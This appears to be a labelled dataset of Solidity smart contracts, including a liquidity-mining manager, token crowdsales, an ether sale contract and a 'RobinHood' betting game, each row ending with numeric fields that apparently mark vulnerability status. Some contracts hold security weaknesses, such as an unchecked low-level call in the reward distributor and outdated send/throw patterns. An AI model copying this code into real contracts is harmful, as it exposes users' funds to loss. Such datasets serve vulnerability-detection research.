function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
pragma solidity ^0.8.0;
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
pragma solidity 0.8.7;
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
pragma solidity 0.8.7;
contract LiquidityMiningManager is TokenSaver {
using SafeERC20 for IERC20;
bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE");
bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE");
uint256 public MAX_POOL_COUNT = 10;
IERC20 immutable public reward;
address immutable public rewardSource;
uint256 public rewardPerSecond;
uint256 public lastDistribution;
uint256 public totalWeight;
mapping(address => bool) public poolAdded;
Pool[] public pools;
struct Pool {
IBasePool poolContract;
uint256 weight;
}
modifier onlyGov {
require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied");
_;
}
modifier onlyRewardDistributor {
require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied");
_;
}
event PoolAdded(address indexed pool, uint256 weight);
event PoolRemoved(uint256 indexed poolId, address indexed pool);
event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight);
event RewardsPerSecondSet(uint256 rewardsPerSecond);
event RewardsDistributed(address _from, uint256 indexed _amount);
constructor(address _reward, address _rewardSource) {
require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set");
require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set");
reward = IERC20(_reward);
rewardSource = _rewardSource;
}
function addPool(address _poolContract, uint256 _weight) external onlyGov {
distributeRewards();
require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set");
require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added");
require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached");
pools.push(Pool({
poolContract: IBasePool(_poolContract),
weight: _weight
}));
poolAdded[_poolContract] = true;
totalWeight += _weight;
reward.safeApprove(_poolContract, type(uint256).max);
emit PoolAdded(_poolContract, _weight);
}
function removePool(uint256 _poolId) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist");
distributeRewards();
address poolAddress = address(pools[_poolId].poolContract);
totalWeight -= pools[_poolId].weight;
pools[_poolId] = pools[pools.length - 1];
pools.pop();
poolAdded[poolAddress] = false;
emit PoolRemoved(_poolId, poolAddress);
}
function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist");
distributeRewards();
Pool storage pool = pools[_poolId];
totalWeight -= pool.weight;
totalWeight += _newWeight;
pool.weight = _newWeight;
emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight);
}
function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov {
distributeRewards();
rewardPerSecond = _rewardPerSecond;
emit RewardsPerSecondSet(_rewardPerSecond);
}
function distributeRewards() public onlyRewardDistributor {
uint256 timePassed = block.timestamp - lastDistribution;
uint256 totalRewardAmount = rewardPerSecond * timePassed;
lastDistribution = block.timestamp;
if(pools.length == 0) {
return;
}
if(totalRewardAmount == 0) {
return;
}
reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount);
for(uint256 i = 0; i < pools.length; i ++) {
Pool memory pool = pools[i];
uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight;
address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, poolRewardAmount));
}
uint256 leftOverReward = reward.balanceOf(address(this));
if(leftOverReward > 1) {
reward.safeTransfer(rewardSource, leftOverReward);
}
emit RewardsDistributed(_msgSender(), totalRewardAmount);
}
function getPools() external view returns(Pool[] memory result) {
return pools;
}
} | 1 | 3,177 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsale is Crowdsale {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract RelaunchedCrowdsale is MintedTokenCappedCrowdsale {
event RestoredInvestment(address addr, uint originalTxHash);
mapping(uint => bool) public reissuedTransactions;
function RelaunchedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) MintedTokenCappedCrowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _maximumSellableTokens) {
}
function getRestoredTransactionStatus(uint _originalTxHash) public constant returns(bool) {
return reissuedTransactions[_originalTxHash];
}
function setInvestorData(address _addr, uint _weiAmount, uint _tokenAmount, uint _originalTxHash) onlyOwner public {
if(investedAmountOf[_addr] == 0) {
investorCount++;
}
investedAmountOf[_addr] += _weiAmount;
tokenAmountOf[_addr] += _tokenAmount;
weiRaised += _weiAmount;
tokensSold += _tokenAmount;
Invested(_addr, _weiAmount, _tokenAmount, 0);
RestoredInvestment(_addr, _originalTxHash);
}
function setInvestorDataAndIssueNewToken(address _addr, uint _weiAmount, uint _tokenAmount, uint _originalTxHash) onlyOwner public {
if(reissuedTransactions[_originalTxHash]) {
throw;
}
setInvestorData(_addr, _weiAmount, _tokenAmount, _originalTxHash);
if(isBreakingCap(_weiAmount, _tokenAmount, weiRaised, tokensSold)) {
throw;
}
reissuedTransactions[_originalTxHash] = true;
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(_addr, _tokenAmount);
}
} | 0 | 758 |
pragma solidity >=0.4.10;
contract Token {
function balanceOf(address addr) returns(uint);
function transfer(address to, uint amount) returns(bool);
}
contract Sale {
address public owner;
address public newOwner;
string public notice;
uint public start;
uint public end;
uint public cap;
bool public live;
event StartSale();
event EndSale();
event EtherIn(address from, uint amount);
function Sale() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () payable {
require(block.timestamp >= start);
if (block.timestamp > end || this.balance > cap) {
require(live);
live = false;
EndSale();
} else if (!live) {
live = true;
StartSale();
}
EtherIn(msg.sender, msg.value);
}
function init(uint _start, uint _end, uint _cap) onlyOwner {
start = _start;
end = _end;
cap = _cap;
}
function softCap(uint _newend) onlyOwner {
require(_newend >= block.timestamp && _newend >= start && _newend <= end);
end = _newend;
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
function withdrawSome(uint value) onlyOwner {
require(value <= this.balance);
msg.sender.transfer(value);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
require(t.transfer(msg.sender, t.balanceOf(this)));
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
require(t.transfer(sender, amount));
}
} | 0 | 541 |
pragma solidity ^0.4.21;
contract RobinHood{
address public owner;
uint8 devFee = 5;
uint256 public amountToCreate = 20000000000000000;
bool public open = false;
event TowerCreated(uint256 id);
event TowerBought(uint256 id);
event TowerWon(uint256 id);
struct Tower{
uint32 timer;
uint256 timestamp;
uint16 payout;
uint16 priceIncrease;
uint256 price;
uint256 amount;
uint256 minPrice;
uint16 creatorFee;
uint256 amountToHalfTime;
uint16 minPriceAfterWin;
address creator;
address owner;
string quote;
}
mapping(uint256 => Tower) public Towers;
uint256 public next_tower_index=0;
modifier onlyOpen(){
if (open){
_;
}
else{
revert();
}
}
modifier onlyOpenOrOwner(){
if (open || msg.sender == owner){
_;
}
else{
revert();
}
}
modifier onlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function RobinHood() public{
owner = msg.sender;
AddTower(600, 9000, 3000, 5000000000000000000, 2000000000000000, 1000, 0);
AddTower(600, 5000,150 , 2500000000000000000, 4000000000000000, 0, 0);
AddTower(3600, 5000, 1000, (1000000000000000000), 5000000000000000, 5000, 0);
AddTower(86400, 7500, 2000, (2000000000000000000), 10000000000000000, 2500, 0);
AddTower(604800, 7500, 2500, (2500000000000000000), 50000000000000000, 0, 0);
}
function OpenGame() public onlyOwner{
open = true;
}
function ChangeFee(uint8 _fee) public onlyOwner{
require(_fee <= 5);
devFee = _fee;
}
function ChangeAmountPrice(uint256 _newPrice) public onlyOwner{
amountToCreate = _newPrice;
}
function AddTower(uint32 _timer, uint16 _payout, uint16 _priceIncrease, uint256 _amountToHalfTime, uint256 _minPrice, uint16 _minPriceAfterWin, uint16 _creatorFee) public payable onlyOpenOrOwner returns (uint256) {
require (_timer >= 300);
require (_timer <= 31622400);
require (_payout >= 0 && _payout <= 10000);
require (_priceIncrease >= 0 && _priceIncrease <= 10000);
require (_minPriceAfterWin >= 0 && _minPriceAfterWin <= 10000);
require(_amountToHalfTime == 0 || _amountToHalfTime >= 1000000000000);
require(_creatorFee >= 0 && _creatorFee <= 2500);
require(_minPrice >= (1 szabo) && _minPrice <= (1 ether));
if (msg.sender == owner){
_creatorFee = 0;
if (msg.value > 0){
owner.transfer(msg.value);
}
}
else{
if (msg.value >= amountToCreate){
uint256 toDiv = (mul(amountToCreate, tokenDividend))/100;
uint256 left = sub(amountToCreate, toDiv);
owner.transfer(left);
addDividend(toDiv);
processBuyAmount(amountToCreate);
}
else{
revert();
}
uint256 diff = sub(msg.value, amountToCreate);
if (diff >= 0){
msg.sender.transfer(diff);
}
}
var NewTower = Tower(_timer, 0, _payout, _priceIncrease, _minPrice, 0, _minPrice, _creatorFee, _amountToHalfTime, _minPriceAfterWin, msg.sender, msg.sender, "");
Towers[next_tower_index] = NewTower;
emit TowerCreated(next_tower_index);
next_tower_index = add(next_tower_index, 1);
return (next_tower_index - 1);
}
function getTimer(uint256 _id) public onlyOpen returns (uint256) {
require(_id < next_tower_index);
var UsedTower = Towers[_id];
if (UsedTower.amountToHalfTime == 0){
return UsedTower.timer;
}
uint256 var2 = UsedTower.amountToHalfTime;
uint256 var3 = add(UsedTower.amount / 1000000000000, UsedTower.amountToHalfTime / 1000000000000);
if (var2 == 0 && var3 == 0){
return UsedTower.timer;
}
uint256 target = (mul(UsedTower.timer, var2/var3 )/1000000000000);
if (target < 300){
return 300;
}
return target;
}
function Payout_intern(uint256 _id) internal {
var UsedTower = Towers[_id];
uint256 Paid = mul(UsedTower.amount, UsedTower.payout) / 10000;
UsedTower.amount = sub(UsedTower.amount, Paid);
UsedTower.owner.transfer(Paid);
uint256 newPrice = (UsedTower.price * UsedTower.minPriceAfterWin)/10000;
if (newPrice < UsedTower.minPrice){
newPrice = UsedTower.minPrice;
}
UsedTower.price = newPrice;
if (UsedTower.amount > UsedTower.minPrice){
UsedTower.timestamp = block.timestamp;
}
else{
UsedTower.timestamp = 0;
}
emit TowerWon(_id);
}
function TakePrize(uint256 _id) public onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
require(UsedTower.timestamp > 0);
var Timing = getTimer(_id);
if (block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
}
else{
revert();
}
}
function ShootRobinHood(uint256 _id, string _quote) public payable onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
var Timing = getTimer(_id);
if (UsedTower.timestamp != 0 && block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
if (msg.value > 0){
msg.sender.transfer(msg.value);
}
return;
}
require(msg.value >= UsedTower.price);
uint256 devFee_used = (mul( UsedTower.price, 5))/100;
uint256 creatorFee = (mul(UsedTower.creatorFee, UsedTower.price)) / 10000;
uint256 divFee = (mul(UsedTower.price, tokenDividend)) / 100;
addDividend(divFee);
processBuyAmount(UsedTower.price);
uint256 ToPay = sub(sub(UsedTower.price, devFee_used), creatorFee);
uint256 diff = sub(msg.value, UsedTower.price);
if (creatorFee != 0){
UsedTower.creator.transfer(creatorFee);
}
if (diff > 0){
msg.sender.transfer(diff);
}
owner.transfer(devFee_used);
UsedTower.timestamp = block.timestamp;
UsedTower.owner = msg.sender;
UsedTower.quote = _quote;
UsedTower.amount = add(UsedTower.amount, sub(ToPay, divFee));
UsedTower.price = (UsedTower.price * (10000 + UsedTower.priceIncrease)) / 10000;
emit TowerBought(_id);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
uint256 public numTokens;
uint256 public ethDividendAmount;
uint256 constant public tokenStartPrice = 1000000000000;
uint256 constant public tokenIncrease = 100000000000;
uint256 public tokenPrice = tokenStartPrice;
uint8 constant public tokenDividend = 5;
uint256 constant public tokenScaleFactor = 1000;
mapping(address => uint256) public tokensPerAddress;
function addDividend(uint256 amt) internal {
ethDividendAmount = ethDividendAmount + amt;
}
function getNumTokens(uint256 amt) internal returns (uint256){
uint256 a = tokenIncrease;
uint256 b = 2*tokenPrice - tokenIncrease;
uint256 D = b*b + 8*a*amt;
uint256 sqrtD = tokenScaleFactor*sqrt(D);
return (sqrtD - (b * tokenScaleFactor)) / (2*a);
}
function processBuyAmount(uint256 amt) internal {
uint256 tokens = getNumTokens(amt );
tokensPerAddress[msg.sender] = add(tokensPerAddress[msg.sender], tokens);
numTokens = add(numTokens, tokens);
tokenPrice = add(tokenPrice , ((mul(tokenIncrease, tokens))/tokenScaleFactor));
}
function sellTokens() public {
uint256 tokens = tokensPerAddress[msg.sender];
if (tokens > 0 && numTokens >= tokens){
uint256 usetk = numTokens;
uint256 amt = 0;
if (numTokens > 0){
amt = (mul(tokens, ethDividendAmount))/numTokens ;
}
if (numTokens < tokens){
usetk = tokens;
}
uint256 nPrice = (sub(tokenPrice, ((mul(tokenIncrease, tokens))/ (2*tokenScaleFactor)))) ;
if (nPrice < tokenStartPrice){
nPrice = tokenStartPrice;
}
tokenPrice = nPrice;
tokensPerAddress[msg.sender] = 0;
if (tokens <= numTokens){
numTokens = numTokens - tokens;
}
else{
numTokens = 0;
}
if (amt <= ethDividendAmount){
ethDividendAmount = ethDividendAmount - amt;
}
else{
ethDividendAmount = 0;
}
if (amt > 0){
msg.sender.transfer(amt);
}
}
}
function sqrt(uint x) internal returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
} | 0 | 1,019 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
